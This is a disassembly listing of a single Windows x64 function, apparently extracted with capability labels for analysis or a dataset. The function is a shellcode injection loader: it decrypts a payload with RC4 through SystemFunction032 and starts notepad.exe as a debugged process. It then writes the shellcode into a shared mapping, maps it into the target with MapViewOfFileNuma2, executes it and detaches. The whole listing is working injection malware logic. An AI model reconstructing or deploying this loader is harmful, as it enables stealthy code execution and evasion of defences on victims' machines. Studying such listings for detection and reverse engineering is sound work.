Function at 0x1400012e0
Capabilities:
Create process on windows
Encrypt data using rc4 via systemfunction032
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
xor ebx, ebx
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x360]
mov qword [rbp + 0x368], rbx
mov qword [rbp + 0x360], rbx
call fcn.1400010d0
test eax, eax
je 0x1400013de
lea rcx, str._i_Printing_Encrypted_shellcode
call fcn.140001010
mov rdi, qword [rbp + 0x360]
lea rcx, str._i__Bytes_:_0x_p__n
mov rdx, rdi
call fcn.140001010
mov r14, qword [rbp + 0x368]
lea rcx, str._i__Size__:__ld__n
mov rdx, r14
call fcn.140001010
lea edx, [rbx + 8]
lea rcx, str._i__DownSize__:__ld__n
call fcn.140001010
lea rcx, [0x14001f810]
call fcn.140001010
lea rax, [0x140022a40]
mov dword [rsp + 0x68], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x6c], 0x10
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x54], r14d
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x50]
call rax
test eax, eax
je 0x1400013e8
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400016db
mov rdx, rdi
lea rcx, str._i__Bytes_:_0x_p__n
call fcn.140001010
mov rdx, rdi
lea rcx, str._i__Pay_:_0x_p_n
call fcn.140001010
lea rdx, str.notepad.exe
lea rcx, str._i__Creating___s__Process_As_A_Debugged_Process_...
call fcn.140001010
xorps xmm0, xmm0
lea rdi, [rbp - 0x80]
xor eax, eax
lea rdx, [rbp - 0x10]
movups xmmword [rbp - 0x7c], xmm0
mov dword [rbp - 0x1c], eax
mov ecx, 0x68
movups xmmword [rbp - 0x6c], xmm0
mov qword [rsp + 0x60], rax
mov r8d, 0x104
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
rep stosb byte [rdi], al
movups xmmword [rsp + 0x50], xmm0
lea rdi, [rsp + 0x50]
mov dword [rbp - 0x80], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x14000149a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetEnvironmentVariableA_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400016db
lea r9, str.notepad.exe
lea r8, [rbp - 0x10]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x100]
call fcn.140001070
lea rdx, [rbp + 0x100]
lea rcx, str._n_t_i__Running_:___s__...
call fcn.140001010
lea rax, [rsp + 0x50]
mov edi, 1
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x100]
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbx
xor ecx, ecx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000152a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessA_Failed_with_Error_:__d__n
call fcn.140001010
lea eax, [rdi - 2]
jmp 0x1400016db
lea rcx, str.___DONE__n
call fcn.140001010
mov esi, dword [rsp + 0x60]
mov r15, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
test esi, esi
je 0x1400013de
test r15, r15
je 0x1400013de
test r12, r12
je 0x1400013de
lea rcx, str.___DONE__n
mov qword [rsp + 0x450], r13
call fcn.140001010
mov edx, esi
lea rcx, str.___Found_Target_Process_Pid:__d__n
call fcn.140001010
lea rcx, str._i__Injecting_Target_Process_...__n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], r14d
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, rax
test rax, rax
jne 0x1400015ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____CreateFileMapping_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x1400016c2
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, rax
test rax, rax
jne 0x140001609
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile_Failed_With_Error_:__d__n
call fcn.140001010
mov edi, r13d
mov r14d, edi
jmp 0x1400016b5
mov rdx, r13
lea rcx, str._t___Local_Mapping_Address_:_0x_p__n
call fcn.140001010
lea rcx, str._t___Press__Enter__To_Write_The_Payload_...
call fcn.140001010
call fcn.1400089f0
mov rdx, r13
lea rcx, str._t_i__Copying_Payload_To_0x_p_...
call fcn.140001010
mov rdx, qword [rbp + 0x360]
mov r8, r14
mov rcx, r13
call fcn.140003ae0
lea rcx, str.___DONE__n
call fcn.140001010
mov dword [rsp + 0x38], 0xffffffff
xor r13d, r13d
mov dword [rsp + 0x30], 0x40
xor r9d, r9d
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov r14, rax
test rax, rax
jne 0x1400016a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile2_Failed_With_Error_:__d__n
call fcn.140001010
mov edi, r13d
jmp 0x1400016b5
mov rdx, rax
lea rcx, str._t___Remote_Mapping_Address_:_0x_p__n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400016ed
lea rcx, str.____FAILED__n
call fcn.140001010
mov eax, 0xffffffff
mov r13, qword [rsp + 0x450]
add rsp, 0x410
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, str.___DONE__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001010
call fcn.1400089f0
mov edx, esi
lea rcx, str._t_i__Target_Process_Created_With_Pid_:__d__n
call fcn.140001010
lea rcx, str.___DONE__n_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call fcn.140001d98
lea rcx, str.___Press__Enter__To_Run_Shellcode_...
call fcn.140001010
call fcn.1400089f0
lea rcx, str._i__Detaching_The_Target_Process_...
call fcn.140001010
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
lea rcx, str.___DONE__n_n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call fcn.1400089f0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call fcn.1400089f0
xor eax, eax
jmp 0x1400016d3